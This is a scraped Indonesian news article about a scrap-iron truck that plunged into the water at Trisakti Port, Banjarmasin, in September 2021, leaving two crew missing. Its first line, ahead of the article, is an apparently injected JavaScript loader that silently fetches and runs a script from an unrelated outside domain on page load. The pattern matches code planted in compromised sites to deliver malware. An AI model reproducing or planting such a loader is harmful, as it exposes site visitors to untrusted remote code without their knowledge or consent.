(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Tenggelamnya truk bermuatan besi bekas di Pelabuhan Trisakti, Sabtu (11/9/2021) malam, meninggalkan duka mendalam. Hingga kini, dua dari sembilan orang yang ada di truk Fuso tersebut belum ditemukan.
Sementara evakuasi truk yang tercebur di dermaga 100 Pelabuhan Trisakti, Minggu (12/9/2021) sore, akhirnya berhasil diangkat ke atas dermaga dengan bantuan dua alat berat crane sekitar pukul 18.00 Wita.
Dengan menggunakan alat derek, petugas akhirnya bisa mengeluarkan truk bernopol S 8795 UX, sebelumnya truk Fuso itu hendak muat ke dalam lambung KM Kirana IX tujuan Surabaya pada Sabtu (11/9/2021) malam.
Lamanya evakuasi, karena para penyelam butuh waktu untuk mengaitkan tali derek. Hal tersebut lantaran posisi truk miring yang membuat susah mencari titik sasis truk.
Boy, salah seorang penyelam dari Basarnas Banjarmasin kepada Kanalkalimantan.com, Minggu (12/9/2021) siang, mengatakan, truk tenggelam pada kedalaman sekitar 10 meter, untuk mengikatkan tali ke sasis truk butuh waktu lama.
Baca juga : Peserta Seleksi ASN dan PPPK Guru di HSU Swab Antigen Gratis
“Dalam evakuasi tadi pagi, membutuhkan waktu 6 jam untuk mengangkat truk ke atas dengan alat bantu crane,” katanya.
Dan dinyatakan dari 9 penumpang tersebut 7 orang yang berhasil selamat, 2 orang dinyatakan terbawa arus ombak atau tenggelam.
Saat ini tim gabungan dari TNI AL, Basarnas Banjarmasin, Rescue 911 dan Polairud masih melakukan pencarian dua korban tenggelam. Dua korban yang dinyatakan hilang tenggelam itu ialah Andi Mustofa (28) dan Sadir (35), keduanya asal Trenggalek, Jawa Timur.
Kejadian bermula saat truk akan masuk alias muat ke dalam kapal. Entah mengapa, truk lepas kendali dan menabrak bolder kapal hingga kemudian tercebur ke sungai.
“Mau belok kiri, tapi truknya larinya ke kanan terus lalu tertabrak bolder hingga tercebur,” tutur Suparman, sang sopir truk naas.
“Yang berhasil keluar 7 orang,” sebut Suparman.
Empat orang penumpang yang selamat dibawa ke Polsek Kawasan Pelabuhan dan Laut (KPL) Banjarmasin. Sementara tiga lainnya dilarikan ke RSUD Ansari Saleh karena mengalami cidera. “Satu patah kaki,” katanya.
Data yang berhasil dihimpun Kanalkalimantan.com di lokasi kejadian dari tim Basarnas Banjarmasin ada 7 korban yang selamat yaitu Sparman (42) asal Nganjuk, Sarmi (42) asal Nganjuk, Sumiran umur 40 tahun asal Trenggalek, Haryono umur 35 tahun asal Trenggalek, Harminto umur 26 tahun asal Trenggalek, Fredi Adi Sasono (22) asal Trenggalek, dan Nanang Sudiro (32) asal Trenggalek. (kanalkalimantan.com/chandra)
Reporter : chandra
Editor: cell
KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
This website uses cookies.